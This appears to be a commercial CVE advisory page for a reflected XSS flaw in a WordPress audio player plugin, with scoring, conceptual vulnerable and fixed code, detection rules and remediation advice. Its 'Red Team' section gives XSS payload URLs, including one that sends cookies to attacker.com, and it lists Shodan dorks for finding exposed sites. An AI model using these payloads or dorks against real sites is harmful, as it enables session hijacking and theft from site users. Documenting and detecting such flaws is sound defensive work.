☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Lambertgroup logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 7.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-48168

CVE-2025-48168 Cross-Site Scripting in Lambertgroup
📅 PUBLISHED: 2025-08-20 08:15 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.05%
👁️
0.05% probability
1.3× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 7.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
7.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-48168 is a Reflected Cross-Site Scripting (XSS) vulnerability found in the LambertGroup Apollo - Sticky Full Width HTML5 Audio Player WordPress plugin (slug: lbg-audio5-html5-shoutcast-sticky). The vulnerability exists in versions up to and including 3.4. An attacker can inject malicious scripts via a crafted URL, which are then reflected back to the user without proper sanitization. This allows for session hijacking, credential theft, or defacement within the context of the victim’s browser session.

This is a WordPress ecosystem vulnerability; the plugin fails to neutralize user input during web page generation. The CVSS score of 7.1 (High) reflects the ease of exploitation (no authentication required) and the potential for impact on confidentiality, integrity, and availability.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This is a WordPress plugin distributed via the official WordPress plugin repository. The vendor (LambertGroup) has not released a patch. Users should consider this plugin as a supply chain risk and either remove it or apply a virtual patch via a Web Application Firewall (WAF).

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
  • Base Score: 7.1 (High)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • User Interaction: Required (UI:R) – victim must click a crafted link
  • Scope: Changed (S:C) – the injected script can affect resources beyond the vulnerable component
  • Confidentiality Impact: Low (C:L)
  • Integrity Impact: Low (I:L)
  • Availability Impact: Low (A:L)

Threat Level: High. The vulnerability is trivial to exploit and requires only a single click from a logged-in user. The lack of a patch increases the risk.

Deep Dive & Mechanics

The vulnerability resides in the lbg-audio5-html5-shoutcast-sticky plugin. The plugin likely takes user-supplied parameters (e.g., player_id, song, or other GET/POST parameters) and embeds them directly into the generated HTML page without proper encoding or sanitization.

Attack Flow:

  1. An attacker crafts a malicious URL containing a JavaScript payload in a vulnerable parameter.
  2. The victim (e.g., a WordPress admin) clicks the link.
  3. The plugin reflects the payload in the response without sanitization.
  4. The victim’s browser executes the script, allowing the attacker to steal cookies, perform actions on behalf of the victim, or redirect to a malicious site.

Root Cause: The plugin uses echo $_GET['param'] or similar functions without applying esc_html(), esc_js(), or wp_kses().

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable pattern.

Vulnerable Code (Conceptual):

<?php
// In a shortcode or template file
$player_id = $_GET['player_id'];
echo "<div id='player-$player_id'>";
?>

Patched Code (Conceptual):

<?php
$player_id = isset($_GET['player_id']) ? sanitize_text_field($_GET['player_id']) : '';
echo "<div id='player-" . esc_attr($player_id) . "'>";
?>

The patched version uses sanitize_text_field() to strip dangerous characters and esc_attr() to safely output the value in an HTML attribute context.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A WordPress site with the vulnerable plugin (<= 3.4) installed and active.
  • A victim user (e.g., admin) who will click the crafted link.

Exploit Payload:

http://target-site.com/?player_id="><script>alert('XSS')</script>

Step-by-Step:

  1. Identify a vulnerable parameter (e.g., player_id, song, autoplay).
  2. Craft a URL with a JavaScript payload:
    http://target-site.com/?player_id="><img src=x onerror=alert(document.cookie)>
    
  3. Send the link to the victim via email, social engineering, or a compromised page.
  4. When the victim clicks, the script executes, exfiltrating cookies or performing actions.

Advanced Payload (Session Hijacking):

http://target-site.com/?player_id="><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team (Detection & Hardening)

Detection:

  • Monitor web server logs for requests containing <script, onerror, onload, or javascript: in query parameters.
  • Use a WAF to block reflected XSS patterns.

Hardening:

  • Remove the plugin immediately if not critical.
  • Apply a virtual patch via WAF (e.g., ModSecurity rule to block player_id containing < or >).
  • Educate users not to click suspicious links.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP requests with query parameters containing <script, onerror, onload, or javascript:.
    • Outbound connections to unknown IPs/domains from the WordPress server (data exfiltration).
  • File IOCs:
    • Modified WordPress core files (unlikely, but possible if attacker gains admin access).
    • Suspicious entries in wp-content/plugins/lbg-audio5-html5-shoutcast-sticky/ (e.g., backdoored files).
  • Log IOCs:
    • Web server logs showing 200 responses to URLs with XSS payloads.
    • WordPress debug logs showing unexpected PHP errors from the plugin.

Detection Engineering

YARA Rule

rule CVE_2025_48168_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts against LambertGroup Apollo Audio Player plugin"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-48168"
    strings:
        $xss_payload1 = /player_id=[^&]*<script/i
        $xss_payload2 = /player_id=[^&]*onerror/i
        $xss_payload3 = /player_id=[^&]*onload/i
        $xss_payload4 = /player_id=[^&]*javascript:/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS Attempt Against LambertGroup Apollo Audio Player
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with XSS payloads targeting the vulnerable plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
        cs-uri-query|contains: 'player_id='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in query strings (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-48168 Reflected XSS Attempt"; flow:to_server,established; content:"player_id="; http_uri; pcre:"/player_id=[^&]*(<script|onerror|onload|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Remove the plugin from all WordPress installations until a patch is released.
  2. Apply a virtual patch using a WAF (e.g., Cloudflare, ModSecurity) to block requests containing XSS patterns in the player_id parameter.
  3. Audit user sessions for any signs of compromise (e.g., unexpected admin actions).

Long-Term Fix:

  • The vendor must release a patched version that sanitizes all user inputs using sanitize_text_field() and esc_attr().
  • If the plugin is abandoned, consider migrating to an alternative audio player plugin.

Detection:

  • Deploy the YARA, Sigma, and Suricata rules provided above.
  • Enable WordPress security plugins (e.g., Wordfence) to detect and block XSS attempts.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"lbg-audio5"
http.html:"Apollo - Sticky Full Width HTML5 Audio Player"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-48168/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.